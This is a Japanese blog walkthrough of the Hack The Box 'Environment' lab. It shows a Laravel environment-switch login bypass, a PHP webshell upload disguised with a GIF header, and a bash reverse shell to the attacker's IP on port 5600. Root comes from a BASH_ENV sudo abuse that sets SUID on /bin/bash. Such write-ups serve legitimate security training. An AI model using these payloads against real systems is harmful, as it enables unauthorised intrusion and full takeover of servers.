1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

hackthebox Environment

Posted at

0.はじめに

hacktheboxのEnvironment攻略方法です。
エラー画面から得られる情報(バージョン情報、エラー発生場所のソースコード、特徴のあるエラーメッセージ)をヒントに攻略を進めます。
開発を進める上でもエラー画面に出力する内容にも気を付けてほしいというメッセージ性があるマシンだと思います。

1.nmapでポートスキャン

①開いているポートの確認

nmap -sT 10.10.11.67

image.png

②ポートの詳細を確認

nmap -sC -sV -sT -p 22,80 10.10.11.67

image.png

リダイレクトのメッセージが出ているのでhostsへの追記をしておきます
・リダイレクトのメッセージ

http-title: Did not follow redirect to http://environment.htb

・hostsへの追記

cd /etc/
sudo nano hosts
10.10.11.67       environment.htb

image.png

2.webサイトの調査

①webサイトにアクセス

http://environment.htb

image.png

(途中省略)
image.png

操作出来ることは画面下部のEmail欄にメールアドレスを入力して「Join!」をクリック出来るだけでした。

②ディレクトリ調査

gobuster dir -u http://environment.htb -w /usr/share/wordlists/dirb/common.txt

image.png

(途中省略)
image.png

login、mailing、up、uploadのページをピックアップして次に確認してみます。

③ディレクトリ調査で判明したページの調査
(1)loginページ

http://environment.htb/login

image.png

(2)mailingページ

http://environment.htb/mailing

image.png

エラーになりましたがバージョン情報を確認出来ます。

PHP 8.2.28 — Laravel 11.30.0

(3)upページ

http://environment.htb/up

image.png

「Application up」という表示だけのページです。
外部からアプリケーションが正常稼働しているか確認する目的のページに思われます。

(4)uploadページ

http://environment.htb/upload

image.png

こちらもmailingページと同様のエラー画面でした。

3.脆弱性の調査

①LaravelのCVE調査
「Laravel 11.30.0 CVE」で検索すると以下のサイトが見つかりました。
・CVE概要

https://nvd.nist.gov/vuln/detail/CVE-2024-52301

・PoC

https://github.com/Nyamort/CVE-2024-52301

②PoCの検証
以下のURLの下部にバージョン情報として「Production v1.1」という記載があります。

http://environment.htb/

image.png

以下のURLにアクセスすることで変更されるか確認します。

http://environment.htb?--env=testxxx

image.png

「Testxxx v1.1」に変わったので成功です。

③loginページの調査(ソースコード確認)
(1)burpで「Intercept on」に変更
image.png

(2)loginページで以下の内容を入力して「Sign In」クリック時の通信をキャプチャー
loginページ

http://environment.htb/login

入力内容

項目 入力内容
Email testuser@test.test
Password test
Remember Me? チェックなし

image.png

(3)burpでキャプチャーされたRequestにおいて、以下の内容を変更して「Forward」をクリック
変更内容

  • 変更前:remember=False
  • 変更後:remember=Falsetmp

image.png

(4)ブラウザ画面に戻るとエラーが発生
image.png

ここで画面上に表示されているソースコードに注目します。
image.png

ソースコード(routes/web.php)

        $keep_loggedin = False;

    } elseif ($remember == 'True') {

        $keep_loggedin = True;

    }

 

    if($keep_loggedin !== False) {

    // TODO: Keep user logged in if he selects "Remember Me?"

    }

 

    if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/preprod envs

        $request->session()->regenerate();

        $request->session()->put('user_id', 1);

        return redirect('/management/dashboard');

    }

 

    $user = User::where('email', $email)->first();

以下の記述から環境変数が「preprod」であれば開発者用のログインが出来そうです。

if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/preprod envs

④loginページの調査(環境変数の変更)
(1)burpで「Intercept on」に変更
image.png

(2)loginページで以下の内容を入力して「Sign In」クリック時の通信をキャプチャー
loginページ

http://environment.htb/login

入力内容

項目 入力内容
Email testuser@test.test
Password test
Remember Me? チェックなし

image.png

(3)burpでキャプチャーされたRequestにおいて、以下の内容を変更して「Forward」をクリック
変更内容

  • 変更前:POST /login HTTP/1.1
  • 変更後:POST /login?--env=preprod HTTP/1.1

image.png

(4)ブラウザ画面に戻るとログインに成功してDashboard画面に遷移
image.png

⑤Profile画面の確認
(1)「Profile」クリック
image.png

(2)「Choose New Picture」をクリックして、任意のデータを選択
「Choose New Picture」をクリック
image.png

任意のデータを選択
image.png

(3)burpで「Intercept on」に変更
image.png

(4)「Upload」クリック時の通信をキャプチャー
image.png

(5)burpでキャプチャーされたRequestにおいて、以下の内容を変更して「Forward」をクリック
変更内容

  • 変更前:Content-Disposition: form-data; name="upload"; filename="sample.png"
  • 変更後:Content-Disposition: form-data; name="xxx"; filename="sample.png"

image.png

(6)ブラウザ画面に戻るとエラーが発生
image.png

以下のエラーメッセージが確認出来ます。

Some error occured during uploading.

⑥アップロード機能の特定
以下のエラーメッセージで検索してみます。

Some error occured during uploading.

image.png

検索結果から画像アップロードでは以下のパッケージを使っていると判断出来ます。
laravel-filemanager

バージョン情報を確認した際も以下の内容で確認出来ていたので違和感はないです。

PHP 8.2.28 — Laravel 11.30.0

⑦アップロード機能のCVEを検索
以下の内容で検索します。
laravel-filemanager cve
image.png

以下のCVEによりRCEが出来るということで見つかります。
CVE-2024-21546

⑧RCEの検証
(1)検証用のphpファイルを作成
検証用のphpファイル(whoami.php)

<?php system("whoami");?>

image.png

(2)「Choose New Picture」をクリックして、phpファイルを選択
image.png

(3)burpで「Intercept on」に変更
image.png

(4)「Upload」クリック時の通信をキャプチャー
image.png

(5)burpでキャプチャーされたRequestにおいて、以下の内容を変更して「Forward」をクリック
・変更前
変更前Request

Content-Disposition: form-data; name="upload"; filename="whoami.php"
Content-Type: application/x-php

<?php system("whoami");?>

・変更後
変更点1.phpの後ろに「.」を追加

filename="whoami.php" → filename="whoami.php."

変更点2.「GIF89a;」とその前後に改行を追加


GIF89a;

変更後Request

Content-Disposition: form-data; name="upload"; filename="whoami.php."
Content-Type: application/x-php

GIF89a;

<?php system("whoami");?>

image.png

(6)以下のURLにアクセス

http://environment.htb/storage/files/whoami.php

image.png

whoamiの実行結果である「www-data」が確認出来たのでRCE成功です。

「GIF89a;」について
「GIF89a;」を先頭に付けることでGIFファイルだと認識させることが出来ます。
(1)テストファイル作成
テストファイル1(test1.php)

<?php system("whoami");?>

テストファイル2(test2.php)

GIF89a;

<?php system("whoami");?>

(2)ファイル種類の判定

file test1.php
file test2.php

image.png

4.リバースシェル

①自端末のIPを取得

ifconfig

image.png

②phpファイル作成
phpファイル(reverse_sh.php)

GIF89a;

<?php system("bash -c 'bash -i >& /dev/tcp/10.10.16.9/5600 0>&1'");?>

image.png

今回はファイル作成時に「GIF89a;」を含めて作成しています。

③「Choose New Picture」をクリックして、phpファイルを選択
image.png

④burpで「Intercept on」に変更
image.png

⑤「Upload」クリック時の通信をキャプチャー
image.png

⑥攻撃端末で待ち受け状態にして待機

nc -lvnp 5600

image.png

⑦burpでキャプチャーされたRequestにおいて、以下の内容を変更して「Forward」をクリック
・変更後
変更点1.phpの後ろに「.」を追加

filename="whoami.php" → filename="reverse_sh.php."

image.png

⑧待ち受けていたシェルに接続が発生
image.png

5.リバースシェル獲得後の調査

①リバースシェルの実行ユーザ確認

id
whoami

image.png

→「www-data」というユーザであることがわかります。

②userフラグの取得

cat /home/hish/user.txt

image.png

6.権限昇格(www-dataユーザ → hishユーザ)

①hishのホームディレクトリ調査

cd /home/hish
ls -la

image.png

「.gnupg」と「backup」フォルダを確認してみます。

ls -la .gnupg
ls -la backup

image.png

「.gnupg」と「backup」フォルダ共に全てのユーザへの読み取り権限が付いています。
そのため、「.gnupg/private-keys-v1.d」の秘密鍵を使って「backup/keyvault.gpg」を復号化することが可能です。

②keyvault.gpgの復号化

mkdir /tmp/testdir
cp -r /home/hish/.gnupg/ /tmp/testdir
ls -la /tmp/testdir
gpg -d --home /tmp/testdir/.gnupg/ /home/hish/backup/keyvault.gpg

image.png

復号化すると以下の結果が表示されました。

</tmp/testdir/.gnupg/ /home/hish/backup/keyvault.gpg
gpg: WARNING: unsafe permissions on homedir '/tmp/testdir/.gnupg'
gpg: encrypted with 2048-bit RSA key, ID B755B0EDD6CFCFD3, created 2025-01-11
      "hish_ <hish@environment.htb>"
PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!
FACEBOOK.COM -> summerSunnyB3ACH!!

「ENVIRONMENT.HTB」という記述からこのサーバでは以下をパスワードに使っていると考えられます。
パスワード:marineSPm@ster!!

③ssh接続

ssh hish@environment.htb

パスワード:marineSPm@ster!!
image.png

7.権限昇格(hishユーザ → rootユーザ)

①特権ユーザで実行できるコマンドの調査

sudo -l

パスワード:marineSPm@ster!!
image.png

以下の内容が表示されます。

Matching Defaults entries for hish on environment:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+="ENV BASH_ENV", use_pty

User hish may run the following commands on environment:
    (ALL) /usr/bin/systeminfo

以下の点に注目します。
・「/usr/bin/systeminfo」をrootとして実行出来ること
・「env_keep+="ENV BASH_ENV"」により、「BASH_ENV」の環境変数を引き継いでsudoを実行出来ること

②環境変数が引き継いでsudo実行されることの確認
(1)確認用shファイル作成
確認用shファイルの作成

nano sample.sh
whoami > /home/hish/test.txt

確認用shファイルの実行権限追加

chmod 777 ./sample.sh

image.png

(2)hishユーザで確認用shファイルを実行

./sample.sh
cat test.txt

image.png

test.txtにhishユーザで実行されたという記録が残りました。

(3)環境変数に確認用shファイルを指定してsudo実行

BASH_ENV="/home/hish/sample.sh" sudo /usr/bin/systeminfo
cat test.txt

image.png

(途中省略)
image.png

test.txtにrootユーザで実行されたという記録が残りました。

③root権限の取得
(1)権限昇格用shファイル作成
権限昇格用shファイルの作成

nano PrivilegeEscalation.sh
chmod +s /bin/bash

権限昇格用shファイルの実行権限追加

chmod 777 ./PrivilegeEscalation.sh

image.png

(2)環境変数に権限昇格用shファイルを指定してsudo実行

BASH_ENV="/home/hish/PrivilegeEscalation.sh" sudo /usr/bin/systeminfo

image.png

(途中省略)
image.png

(3)root権限取得
bashにSUIDが付与されたことを確認

ls -l /bin/bash

root権限取得

bash -p

実行ユーザ確認

id
whoami

image.png

④rootフラグの取得

cat /root/root.txt

image.png

8.おわりに

前半のエラー画面から得られる情報を使ってシェルを獲得するまでが難しいです。
また、画像ファイルとして認識させてphpファイルをアップロードする部分は他にもベストな方法があるかもしれません。
後半は情報も限られていたので、入手した情報をどう利用するかという感じでした。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?